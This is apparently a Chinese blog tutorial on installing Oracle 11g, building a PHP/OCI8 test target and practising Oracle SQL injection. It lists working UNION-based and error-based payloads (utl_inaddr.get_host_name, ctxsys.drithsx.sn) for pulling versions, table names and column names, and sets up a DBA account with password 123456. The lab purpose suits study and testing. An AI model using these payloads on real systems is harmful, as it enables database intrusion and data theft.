Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
1)完整的数据管理功能
2)数据的大量性
3)数据保存的持久性
4)数据的共享性
5)数据的可靠性
PS1:安装包分为了两个压缩包,需要都下载下来才能进行安装
132位&64位百度云分享链接及提取码:
链接: https://pan.baidu.com/s/1mh7s1nU
密码: 8neh
① “Oracle目录基目录”:所有Oracle产品的基目录,如果这里进行了修改,下面的目录也会相应地自动进行更改,目录名称不建议使用中文(玄学)
② “软件位置”:当前进行安装软件(即Oracle Database 11g)的安装目录,其安装目录不能含空格字符,同样不建议使用中文(玄学)
③ “数据文件位置”:存储数据库内容的位置,同样不建议使用中文(还是玄学)
④ 关于数据库版本:企业版包含了Oracle Database完整功能,其他版本的详细说明可以查看Oracle Database 的帮助文档
⑤ 关于字符集的选择:建议选择为UTF-8(通用性更好)
⑥ “全局数据库名”:启动数据库的名称(不超过8个字符)
⑦ “管理口令”:启动数据库的口令
注意:Oracle官方文档建议口令为(只是建议,如果是学习用的话可以设置得简单些,但要满足最低要求,例如设置为“Oracle”)
⑧ “确认口令”:在此字段再次输入管理口令
下表为Oracle数据库中的主要用户及作用
口令的修改:在“新口令”处输入新口令,在“确认口令”处再次输入新口令(口令不能为空,不能超过30个字符,且不能为用户名)
之后点击“确定“即完成用户的解锁及口令的修改(如果口令不满足Oracle建议标准的四个“至少”依旧会弹出警告框,若出现则点击“是”继续后续操作)
安装完成后,在计算机系统中将出现若干个Oracle服务,可以进入到计算机管理界面,依次点击“服务和应用程序”、“服务”,以查看/管理Oracle 服务(具体如何进入到计算机管理界面请自行查询方法),这些服务可以都设置为手工启动(设置方法为:右键需要修改的服务→点击“属性”→在“启动类型”处设置为“手工启动”→点击“确定”),以防其对计算机运行/启动速度造成影响,等需要用到Oracle Database时再启动这些服务
运行SQL Plus
用户名:sys/as sysdba
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pS5i9aAq-1691667817115)(C:\Users\linyo\AppData\Roaming\Typora\typora-user-images\image-20230808122755690.png)]
第一步,使用SQL Plus语句连接Oracle数据库
请输入用户名: sys/as sysdb
第二步,查看数据库版本信息
SQL> select * from v$version where rownum=1;
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
第三步,创建账号。
SQL> create user mc IDENTIFIED BY 123456;
用户已创建。
赋予权限连接数据库(CONNECT)、实体创建(RESOURCE)和管理员(DBA)
GRANT CONNECT, RESOURCE, DBA TO mc;
第四步,下载Navicat 使用Navicat连接Oracle数据库
解压运行Navicat.exe
测试连接:
测试语句:
OCI8是PHP的扩展组件,用以连接和操纵Oracle数据库(该名字源于Oracle中’C call interface’ API接口,该API最早在Oracle8中公布)。OCI 8 是开源的且已包括在PHP中了。
提前准备工作:
在WWW中创建info.php文件,运行以查看phpinfo信息
下载对应的oracle客户端, 下载地址:
https://www.oracle.com/database/technologies/instant-client/downloads.html
注意根据安装的Oracle版本来,上面我们查询过的 11.2.0.1.0
把文件夹中 oci.dll 和 oraocci11.dll 复制到 C:\phpstudy_pro\Extensions\php\php7.3.4nts中
下载OCI8,添加扩展
https://windows.php.net/downloads/pecl/releases/oci8/2.2.0/下载oci8,版本需要与php版本一致
打开下载文件,将php_oci8.dll、php_oci8_11g.dll、 php_oci8_12c.dll 扩展文件复制到PHP安装目录的ext目录下
点击设置,点击配置文件,打开php配置文件
添加修改数据: extension=oci8_12c , extension=oci8 , extension=pdo_oci 取消前面的 ; (;代表注释的意思)
将Oracle注入的文件(sql-test.php
)复制到指定目录
使用Navicat打开数据库并创建一个简单的demo表 表名 和 数据库名 都必须要大写
CREATE TABLE "EASTMOUNT"."DEMO" (
"ID" NUMBER NOT NULL ,
"NAME" VARCHAR2(20 BYTE) NULL ,
"AGE" NUMBER NULL ,
"SEX" VARCHAR2(20 BYTE) NULL
)
LOGGING
NOCOMPRESS
NOCACHE
;
简单插入一条数据
运行靶场,传递id=1进行测试
靶场相关环境搭建完毕!
判断列数: ' order by 3 --
-------------------------------------------------------
判断回显位置: 'union select null,null,null,unll from dual --
-------------------------------------------------------
获取数据库版本信息:
select null,(select banner from sys.v_$version where rownum=1),null,null from dual
-------------------------------------------------------
获取数据表名:
union select null,table_name,null,null from user_tables where rownum=1
union select null,(select table_name from user_tables where rownum=1),null,null from dual--
<>排除条件
union select null,(select table_name from user_tables where rownum=1 and table_name<>'DEMO'),null,null from dual--
-------------------------------------------------------
获取关键表中的列名:
union select null,column_name,null,null from user_tab_columns where table_name='DEMO'--
union select null,column_name,null,null from user_tab_columns where table_name='DEMO' and rownum=1
union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual--
寻找注入点:基本的步骤就是找到与数据库交互的输入框,然后判断这个输入框的数据类型,以及它的数据的闭合方式,然后添加一些判断语句查看是否存在注入
判断列数
Oracle数据库同样是通过order by 进行查询数据表的列数判断,order by必须是select -list表达式的列数,在真实环境中一个表的列数可能数目较多,因此在列数判断中我们最好使用二分法。
Oracle联合查询
跟之前学习的MySQL一样,Oracle同样通过union 来实现联合查询注入
注意:因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能表用
信息收集
可以通过回显点收集相关信息
select user from dual 获取用户名
select banner from sys.v_$version where rownum=1 获取版本
查询表名 和 列名 获取数据
1使用utl_inaddr.get_host_name()进行报错注入
作用:用于取得局域网或Internet环境中的主机名和IP地址
select utl_inaddr.get_host_name(‘127.0.0.1’) hostname from dual;
1注入语句:
id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
使用ctxsys.drithsx.sn()进行报错注入
报错语句:
1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
ctxsys.drithsx.sn(mc,(查询函数))--
1这里为什么需要1=呢,是因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件
rownum
1select * from demo rownum <=3 ;
为什么第一个查询有返回值,第二个查询只是将ROWNUM=2,就没有值返回。
ROWNUM是一个伪列。该值在被读入cache中时被分配了一个值。每次查询该值都可能变化。同样的一行记录,可能由于读入cache中的行数不同,而导致ROWNUM不同。
同样一行的rownum根据查询返回值的不同而不同。在任何情况下,只有当rownum=1返回之后,才能够返回rownum=2。如果查询rownum大于1的值,如rownum=3,则是无效的,总是返回"No Rows Selected"的信息。